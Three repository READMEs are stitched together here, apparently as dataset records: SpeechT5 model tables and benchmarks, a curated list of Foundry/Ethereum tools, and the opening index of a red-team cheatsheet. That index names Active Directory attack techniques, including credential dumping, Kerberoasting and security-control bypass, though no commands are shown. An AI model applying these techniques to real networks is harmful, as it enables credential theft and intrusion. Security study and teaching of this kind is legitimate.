| SpeechLM-P Large | [60k hrs LibriLight](https://github.com/facebookresearch/libri-light) + [40M Text](http://www.openslr.org/11) | [En-Ar CoVoST-2](https://github.com/facebookresearch/covost) | [Google drive](https://drive.google.com/file/d/1lbTSRXewEeb2t45URunD6EiJcbniyjWW/view?usp=sharing) |
| SpeechLM-P Large | [60k hrs LibriLight](https://github.com/facebookresearch/libri-light) + [40M Text](http://www.openslr.org/11) | [En-Tr CoVoST-2](https://github.com/facebookresearch/covost) | [Google drive](https://drive.google.com/file/d/1Er4I_jHS175pQQph223yKtiiLQ378VvH/view?usp=sharing) |
| SpeechUT Base (ASR) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | - | [Azure Storage]|
| SpeechUT Base (ASR) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [100 hrs LibriSpeech](http://www.openslr.org/12) | [Azure Storage]|
| SpeechUT Large (ASR) | [60k hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | - | [Azure Storage]|
| SpeechUT Large (ASR) | [60k hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [960 hrs LibriSpeech](http://www.openslr.org/12) | [Azure Storage]|
| SpeechUT Base (En-De) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [408 hrs MuST-C v1](https://ict.fbk.eu/must-c/) + [4.6M Text](https://www.statmt.org/wmt16/) | - | [Azure Storage]|
| SpeechUT Base (En-De) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [408 hrs MuST-C v1](https://ict.fbk.eu/must-c/) + [4.6M Text](https://www.statmt.org/wmt16/) | [En-De MuST-C v1](https://ict.fbk.eu/must-c/) | [Azure Storage]|
| SpeechUT Base (En-Es) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [504 hrs MuST-C v1](https://ict.fbk.eu/must-c/) + [15M Text](https://www.statmt.org/wmt13/) | - | [Azure Storage]|
| SpeechUT Base (En-Es) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [504 hrs MuST-C v1](https://ict.fbk.eu/must-c/) + [15M Text](https://www.statmt.org/wmt13/) | [En-Es MuST-C v1](https://ict.fbk.eu/must-c/) | [Azure Storage]|
| SpeechUT Base (En-Fr) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [492 hrs MuST-C v1](https://ict.fbk.eu/must-c/) + [40M Text](https://www.statmt.org/wmt14/) | - | [Azure Storage]|
| SpeechUT Base (En-Fr) | [960 hrs LibriSpeech](http://www.openslr.org/12) + [492 hrs MuST-C v1](https://ict.fbk.eu/must-c/) + [40M Text](https://www.statmt.org/wmt14/) | [En-Fr MuST-C v1](https://ict.fbk.eu/must-c/) | [Azure Storage]|
## SpeechT5 Introduction
Motivated by the success of T5 (Text-To-Text Transfer Transformer) in pre-trained natural language processing models, we propose a unified-modal SpeechT5 framework that explores the encoder-decoder pre-training for self-supervised speech/text representation learning.
The SpeechT5 framework consists of a shared encoder-decoder network and six modal-specific (speech/text) pre/post-nets.
After preprocessing the input speech/text through the pre-nets, the shared encoder-decoder network models the sequence-to-sequence transformation, and then the post-nets generate the output in the speech/text modality based on the output of the decoder.
<img src="SpeechT5/speecht5_framework.png" alt="se" width="1000" />
Leveraging large-scale unlabeled speech and text data, we pre-train SpeechT5 to learn a unified-modal representation, hoping to improve the modeling capability for both speech and text.
To align the textual and speech information into this unified semantic space, we propose a cross-modal vector quantization approach that randomly mixes up speech/text states with latent units as the interface between encoder and decoder.
Extensive evaluations show the superiority of the proposed SpeechT5 framework on a wide variety of spoken language processing tasks, including automatic speech recognition, speech synthesis, speech translation, voice conversion, speech enhancement, and speaker identification.
<!--
Model introductions, evaluation results, and model inference instructions are located in the corresponding folders. The source code is here [https://github.com/microsoft/SpeechT5/tree/main/SpeechT5].
-->
## SpeechT5 Downstream Task Performance
We evaluate our models on typical spoken language processing tasks, including automatic speech recognition, text to speech, speech to text translation, voice conversion, speech enhancement, and speaker identification.
### Automatic Speech Recognition
Evaluation on the [LibriSpeech](http://www.openslr.org/12)
| Model |LM | dev-clean | dev-other | test-clean | test-other |
| ------------- |------------- | ------| ----- | ----| ----|
| wav2vec2.0 Base | - | 6.1 | 13.5 | 6.1 | 13.3 |
| HuBERT Base | - | 5.5 | 13.1 | 5.8 | 13.3 |
| Baseline (w/o CTC) | - | 5.8 | 12.3 | 6.2 | 12.3 |
| Baseline | - | 4.9 | 11.7 | 5.0 | 11.9 |
| SpeechT5 (w/o CTC) | - | 5.4 | 10.7 | 5.8 | 10.7 |
| **SpeechT5** | - | **4.3** | **10.3** | **4.4** | **10.4** |
| DiscreteBERT | 4-gram | 4.0 |10.9 |4.5 |12.1 |
| wav2vec 2.0 Base | 4-gram | 2.7 |7.9 |3.4 |8.0 |
| HuBERT Base | 4-gram | 2.7 |7.8 |3.4 |8.1 |
| wav2vec 2.0 Base | Transf. | 2.2 |6.3 |2.6 |6.3 |
| Baseline | Transf. | 2.3 |6.3 |2.5 |6.3 |
| **SpeechT5** | Transf. | **2.1** |**5.5** |**2.4** |**5.8** |
### Text-to-Speech
Evaluation on the [LibriTTS](http://www.openslr.org/60/)
| Model | Naturalness | MOS | CMOS |
| ------------- |------------ | ------ | ----- |
| Ground Truth | - | 3.87 | - |
| Baseline | 2.76 | 3.56 | 0 |
| **SpeechT5** | 2.91 | **3.65** | **+0.290** |
### Speech Translation
Evaluation on the [MUST-C v1](https://ict.fbk.eu/must-c/)
| Model | EN-DE | EN-FR |
| ------------- |------------ | ------ |
| Fairseq ST | 22.70 | 32.90 |
| ESPnet ST | 22.91 | 32.69 |
| Adapter Tuning| 24.63 | 34.98 |
| Baseline | 23.43 | 33.76 |
| SpeechT5 (w/o initializing decoder) | 24.44 | 34.5 |
| **SpeechT5** | **25.18** | **35.30** |
### Voice Conversion
Evaluation on the [CMU Arctic](http://www.festvox.org/cmu_arctic/)
| Model | WER | WER | MCD | MCD |
| ------------- | ------ | ----- | ---- | ----|
| | bdl to slt | clb to slt | bdl to slt | clb to slt |
| VTN w/ ASR | 11.1 | 10.9 | 6.5 | 6.11 |
| VTN w/ TTS | 7.6 | 9.1 | 6.33 | 13.3 |
| Many-to-many VTN | - | - | 6.13 | 5.97 |
| Baseline | 21.5 | 10.8 | 6.26 | 6.16 |
| **SpeechT5** | **7.8** | **6.4** | **5.93**| **5.87** |
### Speech Enhancement
Evaluation on the [WSJ0 Hipster AmbientMixtures (WHAM!)](http://wham.whisper.ai/)
| Model | WER |
| ------------- |------------ |
| Ground Truth Speech | 3.2 |
| Noisy Speech | 76.1 |
| Baseline | 10.9 |
| **SpeechT5** | **8.9** |
### Speaker Identification
Evaluation on the [VoxCeleb1](https://www.robots.ox.ac.uk/~vgg/data/voxceleb/vox1.html)
| Model | Acc |
| ------------- |------------ |
| SUPERB, wav2vec 2.0 Base | 75.18% |
| SUPERB, HuBERT Base | 81.42% |
| SUPERB, HuBERT Large | 90.33% |
| SpeechNet, single task | 86.00% |
| SpeechNet, multi-task with TTS | 87.90% |
| Thin ResNet-34 | 89.00% |
| Baseline | 91.92% |
| **SpeechT5** | **96.49%** |
## License
This project is licensed under the license found in the LICENSE file in the root directory of this source tree.
Portions of the source code are based on the [FAIRSEQ](https://github.com/pytorch/fairseq) and [ESPnet](https://github.com/espnet/espnet) projects.
[Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct)
### Reference
If you find our work is useful in your research, please cite the following paper:
```bibtex
@article{Ao2021SpeechT5,
title = {SpeechT5: Unified-Modal Encoder-Decoder Pre-training for Spoken Language Processing},
author = {Junyi Ao and Rui Wang and Long Zhou and Chengyi Wang and Shuo Ren and Yu Wu and Shujie Liu and Tom Ko and Qing Li and Yu Zhang and Zhihua Wei and Yao Qian and Jinyu Li and Furu Wei},
eprint={2110.07205},
archivePrefix={arXiv},
primaryClass={eess.AS},
year={2021}
}
```
```bibtex
@article{Ao2022Speech2C,
title = {Pre-Training Transformer Decoder for End-to-End ASR Model with Unpaired Speech Data},
author = {Junyi Ao and Ziqiang Zhang and Long Zhou and Shujie Liu and Haizhou Li and Tom Ko and Lirong Dai and Jinyu Li and Yao Qian and Furu Wei},
eprint={2203.17113},
archivePrefix={arXiv},
primaryClass={cs.SD},
year={2022}
}
```
```bibtex
@article{Zhang2022Yitrans,
title = {The YiTrans End-to-End Speech Translation System for IWSLT 2022 Offline Shared Task},
author = {Zhang, Ziqiang and Ao, Junyi and Zhou, Long and Liu, Shujie and Wei, Furu and Li, Jinyu},
eprint={2206.05777},
archivePrefix={arXiv},
primaryClass={cs.CL},
year={2022}
}
```
```bibtex
@article{zhang2022speechut,
title = {SpeechUT: Bridging Speech and Text with Hidden-Unit for Encoder-Decoder Based Speech-Text Pre-training},
author = {Zhang, Ziqiang and Zhou, Long and Ao, Junyi and Liu, Shujie and Dai, Lirong and Li, Jinyu and Wei, Furu},
eprint={2210.03730},
archivePrefix={arXiv},
primaryClass={cs.CL},
year={2022}
}
```
```bibtex
@article{zhang2022speechlm,
title = {SpeechLM: Enhanced Speech Pre-Training with Unpaired Textual Data},
author = {Zhang, Ziqiang and Chen, Sanyuan and Zhou, Long and Wu, Yu and Ren, Shuo and Liu, Shujie and Yao, Zhuoyuan and Gong, Xun and Dai, Lirong and Li, Jinyu and Wei, Furu},
eprint={2209.15329},
archivePrefix={arXiv},
primaryClass={cs.CL},
year={2022}
}
```
### Contact Information
For help or issues using SpeechT5 models, please submit a GitHub issue.
For other communications related to SpeechT5, please contact Long Zhou (`lozhou@microsoft.com`).
| Unified-Modal Speech-Text Pre-Training for Spoken Language Processing | speech-pretraining,speech2c,speecht5,speechlm,speechut,speech-recognition,speech-synthesis,speech-translation,speech-text-pretraining,vallex | 0 | 13 | 5 | 242 | 34 | 3 | 0 |
crisgarner/awesome-foundry | # Awesome Foundry
[](https://github.com/sindresorhus/awesome)
[](https://t.me/foundry_rs) [](https://t.me/foundry_support)
[//]: # '[](https://www.trackawesomelist.com/avelino/awesome-go/)'
Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust. [Install Foundry here](https://getfoundry.sh).
<img align="center" src="https://mirror.xyz/_next/image?url=https%3A%2F%2Fimages.mirror-media.xyz%2Fpublication-images%2Fkt99mFtZZ1Gl2ZbWGNI3J.png&w=3840&q=90" alt="awesome-foundry" title="awesome-foundry" />
> A curated list of awesome Foundry resources, tutorials, tools and libraries. Inspired by [awesome-go](https://github.com/avelino/awesome-go).
### Contributing
Please take a quick view at the [contribution guidelines](https://github.com/crisgarner/awesome-foundry/blob/main/CONTRIBUTING.md) first.
[//]: # 'Thanks to all [contributors](https://github.com/crisgarner/awesome-foundry/graphs/contributors); you rock!'
#### _If you see a package or project here that is no longer maintained or is not a good fit, please submit a pull request to improve this file. Thank you!_
## Content
- [Awesome Foundry](#awesome-foundry)
- [Contributing](#contributing)
- [_If you see a package or project here that is no longer maintained or is not a good fit, please submit a pull request to improve this file. Thank you!_](#if-you-see-a-package-or-project-here-that-is-no-longer-maintained-or-is-not-a-good-fit-please-submit-a-pull-request-to-improve-this-file-thank-you)
- [Content](#content)
- [Tools](#tools)
- [Templates \& Libraries](#templates--libraries)
- [Tutorials](#tutorials)
- [Projects Using Foundry](#projects-using-foundry)
**[โฌ back to top](#awesome-foundry)**
## Tools
Frameworks, plugins and utilities for Foundry.
- [Audit_Helper](https://github.com/HardlyCodeMan/audit_helper) - audit_helper is a Python3 helper script for Linux to automate some Foundry boilerplate set up in audit repositories.
- [Blacksmith](https://github.com/blacksmith-eth/blacksmith) - Blacksmith generates a simple frontend for interacting with smart contracts.
- [Chisel](https://github.com/foundry-rs/foundry/tree/master/chisel) - Chisel is a fast, utilitarian, and verbose solidity REPL. It is heavily inspired by the incredible work done in soli and solidity-shell!
- [Foundryup](https://github.com/foundry-rs/foundry/tree/master/foundryup) - Update or revert to a specific Foundry branch with ease.
- [Foundry Hardhat](https://github.com/foundry-rs/hardhat) - Hardhat plugins to use foundry tools in hardhat environments.
- [Forge Deploy](https://github.com/wighawag/forge-deploy) - A cli and associated contracts to keep track of deployments by name and reuse them in solidity. It tries to keep compatibility with hardhat-deploy as far as possible (work in progress).
- [Forge Standard Library](https://github.com/foundry-rs/forge-std/) - Collection of helpful contracts for use with forge and foundry.
- [Forge GHA](https://github.com/foundry-rs/foundry-toolchain) - Simple Github Actions workflow to run forge test.
- [Forge Replit](https://replit.com/@wilsonc/VanillaForge) - Run Forge in the browser, vanilla setup.
- [Forge Safe](https://github.com/ind-igo/forge-safe) - Forge Safe lets Forge users build Gnosis Safe batch transactions using Forge scripting in Solidity.
- [Forge Safer](https://github.com/morpho-labs/safer) - Safer lets users to create transactions on a Safe without relying on Safe's backend, improving resiliency of Safe multisigs.
- [Forge Snippets](https://github.com/crisgarner/VSCodeForgeSnippets) - VS Code Snippets for Forge.
- [ForGePT](https://forgept.apoorv.xyz/) - AI bot to provide support and answer foundry related questions.
- [Foundrydeploy](https://github.com/joshieDo/foundrydeploy) - Limited scripting (declarative?) language to implement a basic deployment pipeline using foundry.
- [Foundry Docgen](https://github.com/ZeframLou/foundry-docgen) - A basic tool for generating markdown docs for a Foundry project using existing NatSpec comments in the contracts.
- [Foundry Gas Diff Reporter](https://github.com/Rubilmax/foundry-gas-diff)
Github Action to easily compare gas reports generated by Foundry automatically on each
of your Pull Requests.
- [Foundry toolchain Action](https://github.com/foundry-rs/foundry-toolchain) - This GitHub Action installs Foundry, the blazing fast, portable and modular toolkit for Ethereum application development.
- [Foundry Canary](https://github.com/ZeframLou/foundry-canary) - A minimal foundry repo setup for examples and finding bugs.
- [Forge Proposal Simulator](https://github.com/solidity-labs-io/forge-proposal-simulator) - A tool to write, simulate and test governance proposals.
- [Foundry zkSync Era](https://github.com/matter-labs/foundry-zksync) - This repository provides Foundry functionality in Solidity for compiling, deploying, and interacting with smart contracts on zkSync Era.
- [Femplate](https://github.com/abigger87/femplate/) - Robust Template for Foundry Projects.
- [Halmos](https://github.com/a16z/halmos#readme) - Symbolic Bounded Model Checker for Ethereum Smart Contracts Bytecode
- [Hardhat Foundry](https://github.com/NomicFoundation/hardhat/releases/tag/%40nomicfoundation/hardhat-foundry%401.0.0) - This plugin makes it easier to use Hardhat and Foundry in the same project. You can use it both for adding Foundry to an existing Hardhat project, and to add Hardhat to an existing Foundry project.
- [Paradigm CTF Template](https://github.com/zobront/paradigm-ctf) - Template for efficient paradigm ctf testing & scripts.
- [Quick POC](https://github.com/zobront/quickpoc) - easy POC template generation from the command line.
- [Solplot](https://github.com/0xClandestine/solplot) - A Foundry plugin that enables you to plot charts within solidity.
- [Vulcan](https://github.com/nomoixyz/vulcan) - Development framework for Foundry projects, with a focus on developer experience and readability.
## Templates & Libraries
Solidity templates, libraries or utilities that use Foundry.
- [Zefram's Foundry Template](https://github.com/ZeframLou/foundry-template) - @ZeframLou's Foundry template.
- [Paul's Foundry Template](https://github.com/PaulRBerg/foundry-template) - @PaulRBerg's Foundry template.
- [Frankie's Forge Template](https://github.com/FrankieIsLost/forge-template) - @FrankieIsLost's template for quickly getting started with Forge.
- [Immunefi's PoC Templates](https://github.com/immunefi-team/forge-poc-templates) - @Immunefi-team's templates for quickly getting started with a proof of concept for testing vulnerabilities.
- [Foundry Hardhat Template](https://github.com/foundry-rs/hardhat-foundry-template) - Template repository for getting started quickly with Hardhat and Foundry in one project.
- [Foundry Vyper](https://github.com/0xKitsune/Foundry-Vyper) - A Foundry template to compile and test Vyper contracts.
- [Foundry Starter Kit](https://github.com/smartcontractkit/foundry-starter-kit) - Foundry Starter Kit is a repo that shows developers how to quickly build, test, and deploy smart contracts with one of the fastest frameworks out there.
- [Foundry Hardhat TypeScript Template](https://github.com/pcaversaccio/hardhat-project-template-ts) - A fully-fledged Hardhat project template based on TypeScript that includes the Foundry toolkit.
- [Foundry Vulcan Template](https://github.com/nomoixyz/vulcan-template) - This repository is a template for smart contract projects based on Foundry. It includes Vulcan to make your life easier when writing tests and scripts.
- [Foundry <> Python Differential Fuzz Testing template](https://github.com/kjr217/foundry-python-template) - A lot of financial quant work gets modelled in Python and sometimes these models needs to be implemented in Solidity to be used in a protocol.
- [Solady](https://github.com/Vectorized/solady) - Gas optimized Solidity Libraries.
- [Solidify](https://github.com/proofxyz/solidify) - solidify is a golang + solidity library aimed to make storing arbitrary data on EVM blockchains as easy and efficient as possible.
- [Solmate](https://github.com/transmissions11/solmate) - Modern, opinionated, and gas optimized building blocks for smart contract development.
- [Chain Claim](https://github.com/botdad/chain-claim) - Solidity lib and helper scripts for providing claim code generation and on chain verification of a claim.
- [Playpen](https://github.com/ZeframLou/playpen) - Set of modern, gas optimized staking pool contracts.
- [TokenMigrator](https://github.com/ZeframLou/token-migrator) - A simple contract for migrating from an old ERC20 token to a new ERC20 token.
- [VestedERC20](https://github.com/ZeframLou/vested-erc20) - A wrapper ERC20 token that linearly vests an underlying ERC20 token to its holders.
- [forge-gas-snapshot](https://github.com/marktoda/forge-gas-snapshot) - A flexible gas snapshotting library for forge tests.
- [lil web3](https://github.com/m1guelpf/lil-web3/) - Small, focused, utility-based smart contracts.
- [RollCall](https://github.com/withtally/rollcall) - Rollup Governance Libraries.
- [Forge Optimism](https://github.com/tarrencev/forge-optimism) - Forge Optimism is a collection of helpful contracts for use with forge and foundry on Optimism.
- [Yearn Strategy Foundry Mix](https://github.com/storming0x/foundry_strategy_mix) - Basic Solidity Smart Contract for creating your own Yearn Strategy.
- [Foundry-Hardhat-Diamonds](https://github.com/Timidan/Foundry-Hardhat-Diamonds)- Sleek EIP2535 Diamond deployments on the go with foundry
- [Foundry Lens Protocol](https://github.com/memester-xyz/lens-protocol#foundry-setup) - Lens Protocol fork that supports Foundry.
- [XChain](https://github.com/zobront/xchain) - Cross chain call library for Solidity & Foundry.
- [Solenv](https://github.com/memester-xyz/solenv) - A dotenv parser for Solidity & Foundry.
- [surl](https://github.com/memester-xyz/surl/) - HTTP library for Foundry tests in Solidity based on curl.
- [unix](https://github.com/abigger87/unix) - A lightweight, extensible Foundry library for shell scripting.
- [Chainlink Brownie Contracts](https://github.com/smartcontractkit/chainlink-brownie-contracts) - This repository is a slimmed down version of Chainlink's official repo. It clones only the Chainlink contracts folder and the repo automatically updates every time there is a new NPM release.
- [Upgradeable Contracts With OpenZeppelin and Foundry](https://github.com/jordaniza/OZ-Upgradeable-Foundry) - A minimal set of contracts showing how to implement UUPS and Transparent Upgradeable Proxy contracts using foundry, along with testing and deployment with Forge Script.
- [Foundry Upgrades](https://github.com/odyslam/foundry-upgrades) - Helper smart contracts to deploy and manage upgradeable contracts on Ethereum.
- [PRBMath](https://github.com/paulrberg/prb-math) - Solidity library for advanced fixed-point math that operates with signed 59.18-decimal fixed-point and unsigned 60.18-decimal fixed-point numbers.
- [ChugSplash Foundry](https://github.com/chugsplash/chugsplash-foundry#readme) - A Foundry library for deploying and managing upgradeable smart contracts.
- [Invariant Examples](https://github.com/lucas-manuel/invariant-examples#readme) - This repository functions as an accessible example for Foundry developers to experiment and learn about invariant testing.
- [Foundry Multichain](https://github.com/timurguvenkaya/foundry-multichain) - This repo provides an example of a multichain Solidity Deployment/Upgradability script pattern.
- [Foundry Safer Log](https://github.com/Philogy/forge-safe-log) - The safelog library provides a foundry/hardhat like console logging interface whereby the individual log functions do not modify the state of memory.
- [Diamond-Foundry](https://github.com/FydeTreasury/Diamond-Foundry) - Foundry implementation of EIP2535 Diamond standard.
- [balance-snapshot](https://github.com/pilagod/balance-snapshot) - A Solidity library to improve balance change check in Foundry tests.
- [Cannon](https://usecannon.com/) - Continuous configuration automation & development cli multi-tool. Like Terraform, Docker and NPM for Ethereum.
## Tutorials
- [Getting Started by Crisgarner](https://mirror.xyz/crisgarner.eth/BhQzl33tthkJJ3Oh2ehAD_2FXGGlMupKlrUUcDk0ALA) - Short intro tutorial for getting started.
- [Getting Started by Wilson](https://w.mirror.xyz/mOUlpgkWA178HNUW7xR20TdbGRV6dMid7uChqxf9Z58) - Extended tutorial with information about testings and logging.
- [Getting Started by What The Func?](https://youtu.be/wqFnif_6Mbc) - Video tutorial.
- [How to Foundry with Brock Elmore](https://www.youtube.com/watch?v=Rp_V7bYiTCM) - YouTube live code tutorial on how to get started with Foundry.
- [Foundry Book](https://book.getfoundry.sh/) - A book on all things Foundry.
- [Learn Solidity, Blockchain Development, & Smart Contracts] (https://www.youtube.com/watch?v=umepbfKp5rI&ab_channel=PatrickCollins) - Full introduction course into all of the core concepts related to blockchain, smart contracts, Solidity, ERC20s, full-stack Web3 dapps, decentralized finance (DeFi), Chainlink, Ethereum, upgradable smart contracts, DAOs, aave, IPFS, and more; everything build with Foundry. Video 1 out of 3.
- [Mainnet Forking](https://mirror.xyz/susheen.eth/bRCzT2QLdNINMVk8251udkfjHW_T9ascCQ1DV9hURz0) - This article teaches how to run a locally simulate a swap on Uniswap.
- [Ethernaut x Foundry](https://github.com/ciaranmcveigh5/ethernaut-x-foundry) - Ethernaut puzzles solved & tested with foundry.
- [Damn Vulnerable Defi - Foundry Version](https://github.com/nicolasgarcia214/damn-vulnerable-defi-foundry) - The Damn Vulnerable Defi CTF using Foundry.
- [Getting Started (Chinese)](https://learnblockchain.cn/article/3502) - Getting started tutorial on Chinese.
- [Foundry vs Hardhat](https://chainstack.com/foundry-hardhat-differences-performance/) - Differences in performance and developer experience.
- [Smart Contract Development with Foundry](https://www.youtube.com/watch?v=uelA2U9TbgM) - Extended video tutorial on Foundry covering tests, deployments, cast usage, deploying to a live network.
- [DeFiHackLabs](https://github.com/SunWeb3Sec/DeFiHackLabs) - Reproduce DeFi hack incidents using Foundry.
- [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs) - To learn common smart contract vulnerabilities using Foundry.
- [How to test a contract function a million times](https://www.notonlyowner.com/learn/how-to-test-a-smart-contract-function-a-million-times/) - Tutorial about testing a function of OpenZeppelin Contracts library using foundry fuzzing.
- [forge inspect $CONTRACT Tweetstorm by @w1nt3r_eth](https://twitter.com/w1nt3r_eth/status/1579486967963693057) - Twitter thread about how to use forge inspect $CONTRACT ir-optimized.
- [Fork testing with Foundry against a specific block number?](https://twitter.com/PaulRBerg/status/1603057723985301507?utm_source=substack&utm_medium=email) - pro tip by @PaulRBerg.
- [Using Foundry to Explore Upgradeable Contracts (Part 1)](https://runtimeverification.com/blog/using-foundry-to-explore-upgradeable-contracts-part-1) - Using Foundry tests to illustrate the various techniques used to make contracts upgradeable.
- [Foundry Best Practices](https://book.getfoundry.sh/tutorials/best-practices) - This guide documents the suggested best practices when developing with Foundry. In general, it's recommended to handle as much as possible with forge fmt, and anything this doesn't handle is below.
- [Invariant Testing WETH With Foundry](https://mirror.xyz/horsefacts.eth/Jex2YVaO65dda6zEyfM_-DXlXhOWCAoSpOx5PLocYgw) - In this short guide, we'll write invariant tests from the ground up for Wrapped Ether, one of the most important contracts on mainnet.
- [Tic Tac Token](https://book.tictactoken.co/) - Tic Tac Token will teach you Foundry from the ground up while you create Tic Tac Toe and learn how to write and test Solidity smart contracts using Foundry.
## Projects Using Foundry
- [0xHacked](https://github.com/0xHackedLabs/zkProver) - A trustless bug bounty platform built on zero-knowledge proof, where the whitehat can submit the proof of exploit to claim a bug bounty without disclosing any details. We referred to the implementation of Foundry.
- [Art Gobblers](https://github.com/artgobblers/art-gobblers) - Contracts for
Art Gobblers, the self-sustaining art factory, with custom ERC721
implementation with VRGDAs, GOO integration and differential fuzzing.
- [OpenSea Seaport](https://github.com/ProjectOpenSea/seaport) - Seaport is a new marketplace protocol for safely and efficiently buying and selling NFTs.
- [Optimism Contracts Bedrock](https://github.com/ethereum-optimism/optimism/tree/develop/packages/contracts-bedrock) - This package contains the smart contracts that compose the on-chain component of Optimism's upcoming Bedrock upgrade.
- [MapleLoan](https://github.com/maple-labs/loan) - Set of contracts to facilitate on-chain Loans between Maple Finance Pools and institutional borrowers.
- [Cryptex Finance](https://github.com/cryptexfinance/contracts) - Index token that tracks the total cryptocurrency market capitalization. (Optimism version uses Foundry tests).
- [Gov of Venice](https://github.com/pentagonxyz/gov-of-venice) - Governance of Venice is a new paradigm in DAO governance, attempting to standardise the existence of functional groups within DAOs (Guilds) in terms of how they participate in the Governance process of different DAOs.
- [Beefy Finance](https://github.com/beefyfinance/beefy-contracts) - Official repo for strategies and vaults from the Beefy yield optimizer.
- [DeFi Hacks Reproduce - Foundry](https://github.com/SunWeb3Sec/DeFiHackLabs) - Reproduce DeFi hack incidents using Foundry.
- [Tokenlon](https://github.com/consenlabs/tokenlon-contracts) - Tokenlon is a decentralized exchange and payment settlement protocol.
- [Uniswap V3 Development Book](https://uniswapv3book.com/) - Development book about Uniswap V3 built using Foundry.
- [Uniswap Permit](https://github.com/Uniswap/permit2) - Permit2 introduces a low-overhead, next generation token approval/meta-tx system to make token approvals easier, more secure, and more consistent across applications.
**[โฌ back to top](#awesome-foundry)**
| A curated list of awesome of the Foundry development framework. | null | 0 | 29 | 35 | 115 | 0 | 1 | 0 |
RistBS/Awesome-RedTeam-Cheatsheet | ---
---
# Red Team Techniques
- [Initial Access Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Initial%20Access%20Techniques.md) (soon)
- [Code Execution Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Code%20Execution%20Techniques.md) (soon)
- [Lateral Mouvement Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Lateral%20Mouvement%20Techniques.md) (soon)
- [Evasion Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Evasion%20Techniques.md) (soon)
- [Persistence Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Persistence%20Techniques.md) (soon)
- [Privilege Escalation Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Privilege%20Escalation%20Techniques.md) (soon)
- [Credential Dumping Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Credential%20Dumping%20Techniques.md) (soon)
- [Pivoting Techniques](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Techniques/Pivoting%20Cheatsheet.md) (soon)
---
## Windows Protocols and Terminologies
- **[Windows Protocols and Terminologies Guide](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Active%20Directory%20Protcols%20Guide.md) (soon)**
---
## Miscs
- [OPSEC Guide](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Miscs/OPSEC%20Guide.md)
- [Malware Development](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Miscs/Malware%20Development.md)
- [Attacking AD Azure Cloud](https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/blob/master/Miscs/Attacking%20AD%20Azure%20Cloud.md) (soon)
---
# Support
**You can support me here :cat: :**
<a href="https://www.buymeacoffee.com/RistBS"><img width=300 src="https://img.buymeacoffee.com/button-api/?text=Buy me a Pizza&emoji=๐&slug=bsolomon&button_colour=5F7FFF&font_colour=000000&font_family=Poppins&outline_colour=000000&coffee_colour=ffffff"></a>
# Active-directory-Cheat-sheet
This AD attacks CheatSheet, made by RistBS is inspired by the [Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) repo.
## Summary
- [AD Exploitation Cheat Sheet by RistBS](#active-directory-exploitation-cheat-sheet)
- [Summary](#summary)
- [Tools](#tools)
- [Powershell Components](#powershell-components)
- [Powershell Tricks](#powershell-tricks)
- [PSWA Abusing](#pswa-abusing)
- [Enumeration](#domain-enumeration)
- [GPO enumeration](#gpo-enumeration)
- [ACL and ACE enumeration](#acl-enumeration)
- [RID Cycling](#rid-cycling)
- [Privilege Escalation](#privilege-escalation)
- [Token Impersonation](#token-impersonation)
- [Kerberoasting](#kerberoasting)
- [ASREPRoasting](#asreproasting)
- [DNSAdmin](#dnsadmin)
- [Lateral Mouvement](#lateral-mouvement)
- [WMIExec](#wmiexec)
- [Credentials Dumping](#credentials-dumping)
- [LSASS Dumping](#lsass-dumping)
- [NTDS Dumping](#ntds-dumping)
- [DPAPI Abusing](#dpapi-abusing)
- [LSA Dumping](#lsa-dumping)
- [SAM Dumping](#sam-dumping)
- [Dump Registry Remotely and Directly](#dump-registry-remotely-and-directly)
- [Read GMSA Passwords](#read-gmsa-password)
- [Hash Cracking](#hash-cracking)
- [Bruteforce AD Password](#bruteforce-ad-password)
- [Custom Username and Password wordlist](#custom-username-and-password-wordlist)
- [Pivoting](#pivoting)
- [SMB Pipes](#smb-pipes)
- [SharpSocks](#sharpsocks)
- [RDP Tunneling via DVC](#rdp-tunneling-via-dvc)
- [Persistence](#persistence)
- [SIDHistory Injection](#sidhistory-injection)
- [AdminSDHolder and SDProp](#adminsdholder-and-sdprop)
- [ACLs and ACEs Abusing](#acls-and-aces-abusing)
- [GenericAll](#genericall)
- [Enhanced Security Bypass](#enhanced-security-bypass)
- [AntiMalware Scan Interface](#antimalware-scan-interface)
- [ConstrainLanguageMode](#constrainlanguagemode)
- [Just Enough Administration](#just-enough-administration)
- [ExecutionPolicy](#executionpolicy)
- [RunAsPPL for Credentials Dumping](#runasppl-for-credentials-dumping)
- [ETW Disabling](#etw-disabling)
- [MS Exchange](#ms-exchange)
- [OWA, EWS and EAS Password Spraying](#owa-ews-and-eas-password-spraying)
- [GAL and OAB Extraction](#gal-and-oab-extraction)
- [PrivExchange](#privexchange)
- [ProxyLogon](#proxylogon)
- [CVE-2020-0688](#cve-2020-0688)
- [MSSQL Server](#mssql-server)
- [UNC Path Injection](#unc-path-injection)
